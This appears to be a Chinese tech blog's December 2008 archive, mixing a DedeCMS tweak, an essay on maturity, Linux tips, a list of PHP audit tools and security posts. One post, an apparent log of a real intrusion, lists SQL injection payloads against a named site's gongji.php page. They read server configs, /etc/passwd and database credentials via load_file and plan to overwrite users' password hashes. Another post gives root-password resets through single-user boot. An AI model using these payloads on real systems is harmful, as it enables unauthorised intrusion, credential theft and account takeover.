Monthly Archives: December 2008

DedeCMS跳转网址改为直接链接的方法

适用于5.1版本 列表页和主页直接跳转都能够实现。

1、列表页的实现:

/include/inc_arclist_view.php
查找
$row[‘arcurl’] = $this->GetArcUrl(

在前面加上:

if($row[‘redirecturl’]) $row[‘arcurl’] = $row[‘redirecturl’]; else

[无需修改其他地方]

2、主页直接跳转的实现:

/include/inc/inc_fun_SpGetArcList.php

查找

$row[‘arcurl’] = GetFileUrl(

在前面加上:

if($row[‘redirecturl’]) $row[‘arcurl’] = $row[‘redirecturl’]; else

同时再 查找 arc.shorttitle,arc.memberid, 后面加上 arc.redirecturl, 注意有两处。

成熟的四个标志

  成熟似乎是一件很残酷的事情,它代表了青春的流失和梦想的褪色。可是,走向成熟是人生的方向,况且,一种持久的平和的幸福人生离不开成熟。

一、什么是成熟

  一个人走向成熟是困难的。如泰戈尔所说,除了通过黑夜的道路,无以到达光明。很无奈的一个事实是,成熟总是和人生的挫折联系在一起的,“传道授业解惑也”并不能让你成熟,而需要时间与代价的付出。通往成熟的道路,没有终点,只有行程。成熟是相对的,而幼稚才是绝对的。成熟不是不犯错误,而是能不能真正从错误中吸取到教训。成熟不是手中的酒杯与指上的香烟,更不是小资情调的“淡淡忧郁”和自我伤感。有意表现的成熟,那是幼稚。没有境界和深刻,只能表现出浅薄。表现成熟,这是年轻和幼稚两种人的常见通病。成熟是无需要表现也无意于表现的。一个严重的问题还在于,年龄的增长、阅历的增加,甚至历经沧桑都并不能确保一个人的成熟。成熟需要一个健康的自由的社会环境,需要个人独立的思考能力与常常的自我反省。

  必须指出,成熟并不排斥纯真。真正的成熟是理性、智慧、纯真与道德的统一。

二、成熟的标志

1、轻视异性

  能够“轻视”异性,不把异性当回事,这是成熟的标志,所以把它放在第一条,因为它是人生迈向成熟的第一步。能够不把异性当回事,这对于人们、尤其对于青少年来说,是困难的,唯其难,所以它才成为一种成熟的象征。

  这里说“轻视异性”,不是指性别歧视,它女人不要把男人当回事。肤浅的人可能会有肤浅的疑问:不把异性当回事,这,这能行吗,这不是太无情了吗?其实,这里说“轻视异性”,主要是指能够用一种平和、健康、冷静的心态理解和交往异性。轻视,不是拒绝对异性的好感和爱情,而是拒绝见到异性就心惊肉跳骨头软的不健康的心理和表现。少女天真单纯,对异性充满了好奇心、神秘感,而这些都是不成熟的表现。有一天你会明白男人不过如此,女人也不过如此。我们可以对异性怀有好感,而不必好奇神秘。这神秘感好奇感将导致人们情绪的起起伏伏,为之欢欣鼓舞,为之痛不欲生,为之幸福,为之痛苦。也许恋爱中的人们不能保持应有的清醒,可是,在日常生活中却也能常常见到人们在异性面前的种种失态。不把异性当回事,不是让你对生活失去热情,而是少一些失望,少一些伤害,以及能够表现得自然和从容。

2、否定自己

  否定自己、不断地否定自己,是走向成熟的必要条件,也是成熟的重要标志。否定自己是深刻的思想活动,是出于对真理和对自我的认知,而不是妄自菲薄和自轻自贱。否定自己是思考的结果,而不是“触景生情”。只要你时时地反省和面对自己,你就会时时地否定自己。认识自己并不容易,否定自己同样困难,人最容易自以为是和固执已见。在真理面前,没有谁有资格自负。有句话说的好,我们最需要改变的可能就是我们最坚持的东西。可是,人们往往认为自己总是对的,把傲慢当作成熟,把固执当作个性,最后只能是“追悔莫及”。其实人们的认识本就浅薄,再加上一切都处在不断地变化之中,你们如何能够不改变?事物在变化,时局在变化,真理也在变化,这就要你们不断在改变自己原来的认识,否定自己曾坚持的东西。

3、学会宽容

  宽容不仅象征成熟,宽容更是一种境界。幼稚的心从来不会宽容,他们偏激、暴怒、盲目行动、“疾恶如仇”,而且自己却屡犯不可“宽容”的错误,他们追求完美,却并不明白自身所存在的缺憾。另外,暴君和强权也从不宽容,他们心胸狭隘、噬血如命、杀人无数,最后,愚蠢只能导致他们的覆灭。“盲目追求抽象的正义,使“敌人”的观念在人们心里得到强化。实际上,没有谁是天生的敌人。记得哪位作家说过,一片落叶不经过全树的允许,是掉落不下来的。同样,一个人所以沦为了罪犯,并不仅仅是个人之过,整个社会都是有责任的。况且,在大多数情况下,所以敌人、罪犯都不过是权势强加的人为的定性,而并不是根据正义的标准。

  宽容不是容忍,因为容忍仍是一种消极的反抗,这种并不明智的情绪其实是暗暗跟自己过不去。生活的阅历、生命的体悟,构成了宽容的前提与基础。宽容别人,也是宽容自己,这体现了对人性缺陷的包容和理解,因此,宽容不但是一种成熟,也是智慧。其实,这“不宽容”也是值得宽容的,因为他们的幼稚。伏尔泰说,“我们所有的人都有缺点和错误,让我们互相原谅彼此的愚蠢,这是自然的第一法则”。从思考能力的角度讲,成熟的标志就是对“简单”有了新的认识和理解,不再把简单看作简单,或者说,不再轻视简单。真理就是简单的,而这简单的真理就是在平常的朴素的日常生活当中。能够从简单处寻找和发现真理,你就得到了最深刻的真理。

4、学会思考

  无知的人总是认为自己无所不知,什么都不瞧在眼里。无知的人以及少年最常说的话就是:我懂、我知道、这太简单了,如此等等。在一个有思想和有探求精神的人那里,没有什么是简单的,尽管他们能够举重若轻。一个苹果的落地,科学家能够思考到天体运行的规律,一粒简单的沙子,哲学家可以通过它发现一个新的世界。理论学术的建立,是在简单、原始概念之上的;思想的产生和深入,也是来源于人们对朴素世界、简单问题的深入思考。恩格斯有一个观点我觉得很好,他说哲学的根源“在于蒙昧时代的愚昧无知的观念”。我们可以作这样的理解,哲学(深刻的思维)就是来自对于简单事物和朴素世界的思考。如果真正懂得了简单,那么这个世界上就不存在复杂。 因此,你若想寻找真理,就不要轻视那些你所轻视的简单的事物,就要善于从寻常的生活、习见的事件中领会和获得并不寻常的道理。最后,以诗人的话来作个诗意的结束: 离你最近的地方,路途最远,最简单的音调,需要最艰苦的练习。 旅客要在每个生人门口敲叩,才能敲到自己的家门,人要在外面到处漂流,最后才能走到最深的内殿。

free命令查看空闲内存-linux的内存管理

Linux系统会把大部分可用内存划归自己使用。这是Linux管理内存的一种方式,他不是在需要分配空间的时候再到物理内存中去划一块归某个进程使用,而是提前就把整个内存管理起来,需要的时候再分配给某个进程。这样的好处是,因为有了统一管理,不容易出现内存碎片,提高了效率。这些linux管理的内存大多数是空闲状态,你可以看看当新的程序运行的时候,Linux的内存占用不会提高,除非机器的内存已经耗尽。这时Linux会把一些不常用的进程换出到交换分区。

下面是free命令列出的各个选项的详细解释:

total:总计物理内存的大小。

used:已使用多大。

free:可用有多少。

Shared:多个进程共享的内存总额。

Buffers/cached:磁盘缓存的大小。

第三行(-/+ buffers/cached):

used:已使用多大。

free:可用有多少。

而确定是真实的使用可以采用如下方法:

用free -m查看。

其实是内存的统计方法不同。linux里面显示的已经使用内存是程序所占的内存和用作磁盘缓存的内存。

而free的内存是真正的一点有没有派上用场的内存。

从应用程序的角度来说,可用内存=系统free memory+buffers+cached。

也可以通过其他方式了解linux的虚拟内存管理技术。

TOP命令查看CPU信息

4颗CPU,/proc/cpuinfo中可以看到processor 0-processor7,但是用top命令时,cpu信息只有一行。top只能监控一个CPU吗?

top可以监控到所使用的所有cpu的状况的,在执行top后,按数字键1,那么就可以看到另外几个cpu的情况了,再按1,又恢复一行cpu的信息。

如何在linux系统中安装windows系统中使用的软件?

您安装的软件是否是以 .exe结尾的软件?所有的.exe格式的软件都是针对于Windows操作系统开发的,Windows操作系统和Linux操作系统是两个不同的操作系统,针对于Windows操作系统开发的.exe格式的软件在Linux 操作系统下目前是没有办法安装。

在Linux操作系统下需要安装针对于Linux操作系统开发的软件,也就是说您在互联网上下载软件的时候需要注意一下软件的运行平台是不是Linux操作系统。一些常用的软件(如QQ、多媒体播放器,PDF阅读器等等)既有用于Windows操作系统的版本,也有用于Linux操作系统的版本。基于 linux操作系统的软件也非常丰富,您可以去互联网搜索一下您想要使用的软件是否有针对Linux操作系统的版本,与Windows操作系统中具有同等功能的软件您可以用于Linux操作系统的版本替代,您可以去以下网站看一下查找需要的软件:

LINUX/UNIX中文社区http://www.chinaunix.net/

中国LINUX公社 http://www.linuxfans.org/

中国LINUX论坛 http://www.linuxforum.net/

LINUXIRAN http://www.linuxiran.org/

LINUX 技术支持中心 http://www.linuxaid.com.cn/

LINUX伊甸园 http://www.linuxeden.com/

Linux下常见的软件格式及安装方法:

1、.rpm结尾的文件(建议您下载此类格式的软件,直接双击就可以安装),在终端里执行:

rpm -ivh xxx.rpm

2、.tar.bz2结尾的文件

在系统终端(可通过点击任务栏上的“终端程序”黑色图标启动)执行命令:

tar -jxf xxxx.tar.bz2 (此步骤为解压该包,执行命令也就是在终端里输入语句,然后敲回车)

执行:

./configure –prefix=/root/xxxx

(编译到/root/xxxx目录)

执行make

执行make install

执行cd /root/xxxx/bin

执行/bin目录里的绿颜色的文件,然后执行“./xxx”

其中的xxx为可执行文件名,一般名称为您要安装的软件的软件名。

3、.sh结尾的文件一般是shell脚本,直接执行就可以了在终端里执行:

./xxx.sh

4、.tar结尾的包,在终端里执行:

在终端里执行如下命令,对tar包进行解压缩:

tar xvf xxx.tar

然后到生成的目录里,找一个绿颜色的可执行文件,然后执行“./xxx”

其中的xxx为可执行文件名,一般为您要安装的软件的文件名。

另外此类格式的包中在解压开以后一般都会有一个“README”,一般在此文件中都会

有如何安装改软件的介绍。

5、.tar.gz结尾的包,在终端里执行:

tar xzvf xxx.tar.gz

然后到生成的目录里,找一个绿颜色的可执行文件,然后执行“./xxx”

其中的xxx为可执行文件名,名称一般为您要安装的软件的软件名。

进入记录

环境: unix+apache+php+mysql
端口: 21=vsftpd; 22=ssh; mysql=3306 不开放远程连接
mysql版本4.0以上支持union查询,当前用户权限足够可以load_file

找到个注射点,以下是记录:

/gongji.php?ag_id=7 and ord(mid(version(),1,1))>51      /*判断mysql version的第一位是不是大于3

/gongji.php?ag_id=7 and (select count(*) from mysql.user)>0  /*判断权限

/gongji.php?ag_id=7 and 1=2 order by 7                              /*快速判断字段

/gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7    /*精确确定字段数

—没有报错信息,利用读取apache配置文件来找web路径———————

默认的配置文件路径:/etc/httpd/conf/httpd.conf
转换成hex类型代入union查询语句。在字段4的位置有足够长度显示内容

/gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7

得到N多站点的路径,其中目标的路径为:/home/k…ow/www/

接下来考虑两个方案:
a. select 。。。 into outfile
条件:1.需要知道一个表名 2.需要网站没有对’做处理 3.目标路径可写
条件1,2都满足,测试导出到/tmp成功,下面需要找一个可写的目录。分析了下apache配置文件,发现网管把images文件夹穿插这放置的。即这个站点images文件夹放到另外一个站路径下。

b.读网站页面源码,找到库口令,用户表,管理表,后台…
实际上口令还可以试试ftp及ssh

读/etc/passwd密码档得到用户表,找到能够远程登录的用户表。
尝试读取vsftpd配置文件:/etc/vsftpd/vsftpd.conf,vsftpd.ftpuser… 失败可能权限不够

读取几个站的数据库连接文件:/home/k…ow/www/config_db.php或/home/k…ow/www/lib/config_db.php

发现口令统一是*****,帐号不一样。网站都采用同一套系统。用户表:dg_member,fs_member,fs_qa_manager
字段:dm_uid,dm_passwd…

c.爆源代码的话还可以顺便找找里面是否有漏洞,比如包含什么的。

d.因为能弄到mysql口令,虽然不能远连,还是可以找找有没有phpMyAdmin这样的东西的。

帐号密码是加密形式的。
Select ENCRYPT(‘mypassword’, ‘ab’),  ENCRYPT加密。这种算法是不可逆的,强度还不错。

新注册用户是要钱的。

先看下memberl.php中对密码加密的脚本:
$am_pwd = crypt ($am_pwd, "Md");
然后用phpshell或者任意unix下的mysql操作环境执行:
select encrypt("123456", "Md")  得到123456的密文
然后可以insert或者update其他用户的pwd密文为123456的密文…

Linux各版本的本地root密码破解方法

Linux各版本的本地root密码破解方法

(一)RedHat/CentOS/Fedora 系统密码破解

1.在grub选项菜单按E进入编辑模式

2.编辑kernel 那行最后加上S (或者Single)

3.按B,启动到single-user mode

4.进入后执行下列命令

# mount -t proc proc /proc

# mount -o remount,rw /

#passwd

#sync

#reboot

 

(二)Debian linux 系统密码破解

1.在grub选项菜单’Debian GNU/Linux,…(recovery mode)’,按e进入编辑模式

2.编辑kernel那行最后面的 ro single 改成 rw single init=/bin/bash,按b执行重启

3.进入后执行下列命令

root@(none)#mount -a

root@(none)#passwd root

root@(none)#reboot

 

(三)Freebsd 系统密码破解

1.开机进入引导菜单

2.选择每项(按4)进入单用户模式

3.进入之后输入一列命令

root@#mount -a

root@#fsck -y

root@#passwd(修改密码命令)

root@#root(要破解密码的用户名)

Enter new unix password:

root@#init 6 (重启)

 

(四)Solaris 系统密码破解

1.在grub选项菜中选择solaris failasfe 项

2.系统提示Do you wish to have it mounted read-write on /a ?[y,n,?] 选择y

3.就进入单用户模式

4.输入下列命令:passwd

root@#init 6 (重启)

 

(五)NetBsd 系统密码破解

1.开机:当出现提示符号并开始倒数五秒时, 键入以下指令:

> boot -s (进入单用户模式命令)

2.在以下的提示符号中

Enter pathname of shell or RETURN for sh:

按下 Enter。

3.键入以下指令:

# mount -a

# fsck -y

4.使用 passwd 更改 root 的密码。

5.使用 exit 指令进入多人模式。

 

(六)SUSE 系统密码破解

1.重新启动机器,在出现grub引导界面后,在启动linux的选项里加上init=/bin/bash,通过给内核传递init=/bin/bash参数使得OS在运行login程序之前运行bash,出现命令行。

2.稍等片刻出现(none)#:命令行。

3.这时输入mount -n / -o remount,rw 表示将根文件系统重新mount为可读写,有了读写权限后就可以通过passwd命令修改密码了。

4.这时输入passwd命令就可以重置密码了

5.修改完成后记得用mount -n / -o remount,ro将根文件系统置为原来的状态。

web代码审计工具

web代码审计工具,支持php的有:

CodeScan – [ .ASP, PHP ] -http://www.codescan.com/

CodeSecure – [ PHP, Java ] -http://www.armorize.com/corpweb/en/products/codesecure

PHP-Sat – [ PHP ] -http://www.program-transformation.org/PHP/PhpSat

Pixy – [ PHP ] -http://pixybox.seclab.tuwien.ac.at/pixy/index.php

RATS – [ C, C++, Perl, PHP, Python ] -http://www.fortify.com/security-resources/rats.jsp

Skavenger – [ PHP ] -http://code.google.com/p/skavenger/

smarty-lint – [ PHP ] -http://code.google.com/p/smarty-lint/

Spike PHP Security Audit Tool – [ PHP ] -http://developer.spikesource.com/projects/phpsecaudit/

SWAAT – [ PHP, ASP.NET, JSP, Java ] -http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project

另外还有一个Fortify -http://www.fortifysoftware.com

目前就php的Source Code Auditing tool基本都是静态分析的,而Source Code Auditing一直围绕着2个元素:变量和函数.也就是说这些tools不管是php开发的还是java开发的,也不管是不是基于php原代码的,他本身都对一些危险的函数和变量都对应的一个’字典'[特征字符串],这些tools都是通过查找这些字典,然后跟踪变量来分析代码.

但是随着程序员安全意识的提高,很多的程序员也知道了这些’字典’了,都有对应的过滤,所以那些传统的问题,很找在大型程序里出现了.所以只有通过扩大我们的字典才有更多的机会去找到应用程序的漏洞.我们的途径有:

* 分析和学习别人发现的漏洞或者exp,如大牛Stefan Esser发现的那些问题,rgod等以前发的那些exp

* 通过学习php手册或者官方文档了解php 一些函数的’特性’

* fuzz php的函数,找到新的有问题的函数[不一定非要溢出的]

* 分析php源代码,发现新的漏洞函数’特性’或者漏洞

* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题

* 你有什么要补充的吗? 🙂